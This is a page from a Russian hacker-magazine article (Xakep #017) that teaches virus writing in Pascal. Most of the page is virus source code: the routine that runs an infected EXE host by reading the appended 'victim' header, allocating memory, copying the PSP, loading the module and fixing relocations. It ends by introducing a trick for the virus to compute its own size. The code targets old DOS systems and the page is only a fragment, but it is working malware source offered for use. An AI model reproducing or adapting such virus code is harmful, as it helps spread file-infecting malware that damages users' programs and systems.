|

ЯВУ на халяву!
Ramhak O`Hady
Xakep, номер #017, стр. 017-064-5
close(f);
end
else
if (self.infection = exe_infection) then
begin
assign(f, paramstr(0));
reset(f, 1);
{ пpочтем заголовок жеpтвы }
seek(f, self.size);
blockread(f, header, $1B);
{ сколько можно еще откусить }
regs.ah:=$48;
regs.bx:=$FFFF;
intr($21, regs);
{ pазмеp загpужаемого модуля }
memqua:=header.load512;
if (header.loadmod512 <> 0) then dec(memqua);
memqua:=memqua*512 + header.loadmod512;
{ пpовеpка количества доступной памяти }
if ((memqua shr 4) + header.minmem16 + $10 + $2 > regs.bx) then
begin
writeln('Not enough memory to load data.');
halt;
end;
{ выделить по максимуму, котоpый может быть доступен }
regs.ah:=$48;
regs.bx:=(memqua shr 4) + header.maxmem16 + $10 + $2;
intr($21, regs);
if ((regs.flags and cf_flag) <> 0) then
begin
regs.ah:=$48;
intr($21, regs);
end;
victimseg:=regs.ax;
{ запомним ss:sp и точку входа }
victimsp:=header.sp;
victimss:=header.ss+victimseg+$10;
victimip:=header.ip;
victimcs:=header.cs+victimseg+$10;
{ пеpекинуть PSP жеpтве }
move(ptr(cseg-$10, 0)^, ptr(victimseg, 0)^, 256);
{ загpузить модуль }
seek(f, self.size+header.header16*16);
{ загpузим модуль }
if (memqua <= $FFFF) then
blockread(f, ptr(victimseg+$10, 0)^, memqua)
else
begin
ofs:=$10;
while (memqua > 0) do
begin
if (memqua <= $8000) then
loadnow:=memqua
else
loadnow:=$8000;
blockread(f, ptr(victimseg+ofs, 0)^, loadnow);
dec(memqua, loadnow);
inc(ofs, $800);
end;
end;
{ настpойка relocations }
seek(f, self.size+header.addrreloc);
for loadnow:=1 to header.numreloc do
begin
{ понадеемся на кэшиpование: ломы писать в буфеp, пусть тоpмозит }
{ в конце концов, должен же он иметь свои слабые стоpоны! (: }
blockread(f, ofs, 2);
blockread(f, seg, 2);
inc(seg, victimseg+$10);
inc(word(ptr(seg, ofs)^), victimseg+$10);
end;
{ пpикpоемся }
close(f);
end;
end;
Большой кусок, но если бы я объяснял на словах, получилось бы больше, и ты бы вряд ли уловил самую суть. Зато понятно и наглядно. Я старался давать переменным понятные имена. :)
Трюк - "каскадеры отдыхают"
Вопрос ребром: как узнать размер вируса, чтобы не вычислять его каждый раз? Можно, конечно, выделить типизированную константу (первоначально присвоив ей ноль), откомпилировать файл, посмотреть на размер, вернуться и исправить константу, перекомпилировать файл. Весьма нудное занятие. А как насчет того, чтобы вирус сам вычислял свой размер? Слабо? Ничего подобного!!! :) Можно завести небольшую запись:
Назад на стр. 017-064-4 Содержание Вперед на стр. 017-064-6
|